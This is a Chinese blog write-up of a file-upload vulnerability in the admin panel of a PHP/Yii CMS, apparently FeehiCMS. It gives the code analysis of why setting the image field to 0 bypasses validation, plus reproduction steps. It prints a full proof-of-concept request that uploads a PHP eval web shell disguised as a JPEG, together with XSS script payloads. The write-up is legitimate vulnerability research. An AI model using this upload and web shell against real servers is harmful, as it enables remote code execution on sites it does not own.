侵权声明
本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者所有。
如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系: [360619623@qq.com]。我们将在确认后的合理时间内采取适当措施,包括删除相关内容。
简述
版本
文件上传
以下路由都存在此漏洞,过程都相似
/admin/index.php?r=admin-user%2Fself-update
/admin/index.php?r=article%2Fupdate
/admin/index.php?r=ad%2Fupdate
/admin/index.php?r=user%2Fcreate
/admin/index.php?r=banner%2Fbanner-create
/admin/index.php?r=friendly-link%2Fupdate
附一张分析的poc
POST /admin/index.php?r=friendly-link%2Fupdate&id=6 HTTP/1.1
Host: demo.com
Content-Length: 1317
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://demo.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPz6pDFqJv170LkfD
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://demo.com/admin/index.php?r=friendly-link%2Fupdate&id=6
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: deviceid=1722062988348; xinhu_ca_rempass=0; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1723172185; csrf_358693=2df7a84f; SECKEY_ABVK=OwAgykiuZ90JyymTDay7TVxsu9K7i77SDQ1wYucKShE%3D; BMAP_SECKEY=zsabggfKizJ7RMP-whUACbv-8Y8e5RtMYzyqN6tgzDDcqlIgvjPYXLThdapgeYvMI5gtvLD423X1mOjreODpLfh2LBSqd-MfWUOnirBpX6X5MhDcI2h78cg9SCeZlworW5OtN5Li7126gdR5a9n2B0G1H09Eu9K-e5yMSsxdwbkojLGWbNKpJSNGySLmO3bA; lang=zh-cn; vision=rnd; device=desktop; theme=default; hideMenu=false; preExecutionID=3; executionTaskOrder=status%2Cid_desc; Hm_lvt_5964cd4b8810fcc73c98618d475213f6=1723680035; http304ok=1; qebak_loginlangid=1; sea_addmin=1; csrf_f2b6b4=adc34ccd; downloading=null; storyModuleParam=0; storyProductParam=0; storyBranchParam=0; executionStoryOrder=order_desc; storyPreExecutionID=3; docSpaceParam=%7B%22type%22%3A%22execution%22%2C%22objectID%22%3A%223%22%2C%22libID%22%3A%227%22%2C%22moduleID%22%3A%220%22%2C%22browseType%22%3A%22%22%2C%22param%22%3A%220%22%7D; lastDocModule=0; lastProject=2; docFilesViewType=list; tab=doc; xinhu_ca_adminuser=admin; xinhu_mo_adminid=eg0el0gx0ttm0tut0et0mx0ml0ea0el0tuj0tuj0ee0tua0ew0mg09; b872___lastvisit_2=%2Chttp%3A//demo.com/web/index.php%3Fc%3Dmodule%26a%3Ddisplay%26do%3Dswitch_last_module; b872___lastvisit_1=1%2Chttp%3A//demo.com/web/index.php%3Fc%3Dmodule%26a%3Dgroup; PHPSESSID=el0m1m6n2un4jje2tvras6j8k4; _csrf_install=48bc77fcd924e4ec92b11b8ad4382fd13411e9c671101bd8038b523a1c3b87e2a%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22_csrf_install%22%3Bi%3A1%3Bs%3A32%3A%226XveiYS9j6GlBPU-1eGKfWF7dBIbu0vr%22%3B%7D; _csrf=17147e5eac4a438d7a2b10ef2549621650371c3d4b98f4a9d9290269418b1053a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22O1fg_oSbJjBdh4m7DHMTzYz75PzkuDSy%22%3B%7D; BACKEND_FEEHICMS=tl0vdnhe72qgrep5plg2b9lebb; _csrf_backend=9c139ca733246ea1f262982050d13150dd710864ac579d755cdb130c80281990a%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22_csrf_backend%22%3Bi%3A1%3Bs%3A32%3A%22VCM1h5jAtJU7337iZN6iXOwavfJWaS7U%22%3B%7D
Connection: keep-alive------WebKitFormBoundaryPz6pDFqJv170LkfD
Content-Disposition: form-data; name="_csrf_backend"opsYB2ulSK67gwaZ5TupGkWCiMVp3bwhN-CEGCyKW6j02FU2A5Ai78_JU67WCJ5zH8y-rDGSy0BBhs5PTdls_Q==
------WebKitFormBoundaryPz6pDFqJv170LkfD
Content-Disposition: form-data; name="FriendlyLink[name]"<script>alert(1);</script>
------WebKitFormBoundaryPz6pDFqJv170LkfD
Content-Disposition: form-data; name="FriendlyLink[image]"0
------WebKitFormBoundaryPz6pDFqJv170LkfD
Content-Disposition: form-data; name="FriendlyLink[image]"; filename="2.php"
Content-Type: image/jpeg<?php @eval(@$_POST[1]);?>
------WebKitFormBoundaryPz6pDFqJv170LkfD
Content-Disposition: form-data; name="FriendlyLink[url]"<script>alert(2);</script>
------WebKitFormBoundaryPz6pDFqJv170LkfD
Content-Disposition: form-data; name="FriendlyLink[sort]"0
------WebKitFormBoundaryPz6pDFqJv170LkfD
Content-Disposition: form-data; name="FriendlyLink[target]"------WebKitFormBoundaryPz6pDFqJv170LkfD
Content-Disposition: form-data; name="FriendlyLink[target]"_blank
------WebKitFormBoundaryPz6pDFqJv170LkfD
Content-Disposition: form-data; name="FriendlyLink[status]"------WebKitFormBoundaryPz6pDFqJv170LkfD
Content-Disposition: form-data; name="FriendlyLink[status]"1
------WebKitFormBoundaryPz6pDFqJv170LkfD--
分析
文件上传
其中一/admin/index.php?r=friendly-link%2Fupdate
1、前面如何输入信息的部分就不分析了,其实通过堆栈也可以略知一二,后面主要分析为什么这种方式可以绕过。首先找到更新位置。
跟进validate()函数
继续跟进beforevalidate()函数
此时可以看到if在判断image参数是否等于0如果等于则会执行父类的beforevalidate()函数,其中父类的次函数没对image参数进行修改。如果不等于执行getInstance()函数,此函数会获取输入进来的文件参数例如文件名,文件类型等赋值给image参数。
返回跟进,看到validateAttributes()函数。看到getValidationAttributes()函数其实我也不是很懂不够大概意思是返回每次需要校验的数据。
第一个红框,或运算符左半部分判断,对hasErrors()函数进行跟进
可以看到只是判断this_erros数组中的attribute是否被定义。可以通过debug发现答案是否定的,返回false
继续看到isEmpty()函数并且进行跟进
我来详细解释一下。
语句1:value = is_array(value) ? reset(value) : value;
判断value是否为数组,如果是返回数组,如果不是则返回值
语句2:return !(value instanceof UploadedFile) || value->error == UPLOAD_ERR_NO_FILE;
首先判断value中的参数是否为一个文件参数,如果不是直接返回。后面判断如果value是数组并且判断其中error参数是否等于UPLOAD_ERR_NO_FILE而其值等于4
如果image等于0就会经过第一个判断直接返回true,回到validateAttributes()函数因为$this->skipOnEmpty是true所以skip也是true不会执行validateAttribute()函数。而validateAttribute()函数就是记录上传文件不匹配的函数。
后面红框是判断文件是否可以上传,如果不行将错误数据写入$model->*yii\base\Model*_errors
以上是为什么image参数一定要输入为0
在最后附身一张到达beforevalidate()函数的堆栈表
复现
文件上传
1、找到上传点
2、上传一个正常文件,但是会上传不成功
3、找到刚刚上传不成功的数据包
4、修改文件内容和文件名还需要在FriendlyLink[image]下面的位置添加一个0即给image参数出入的值。如果看到302的返回包说明传入成功。
5、对前端页面进行刷新,如果看到success字样的弹窗进一步说明上传成功
6、回到上传点的页面,按f12常看文件位置
7、访问并利用
修复
现在系统没有更新了,所以官网也没有修复方法。
我个人认为还是白名单好一点,而且是要后端的白名单。
总结
感觉像前端绕过,又感觉不像。好奇怪,不过还是学到了,如果文件上传中出现了奇奇怪怪的参数可以试着查看其来源和作用。
参考
https://www.cnvd.org.cn/flaw/show/CNVD-2023-58819
免责声明
本博客所提供的技术知识和信息仅旨在教育和分享网络安全最佳实践,促进网络安全意识的提升。作者严禁将这些技术和信息用于任何非法或不道德的目的。
使用本博客内容而导致的任何违法行为或后果,作者不承担任何法律责任。所有读者在使用本博客的信息时,应自行承担风险,并确保遵守当地法律法规。
我们鼓励所有读者合法地使用所提供的信息和技术,致力于维护安全和负责任的网络环境。
感谢您的理解与支持。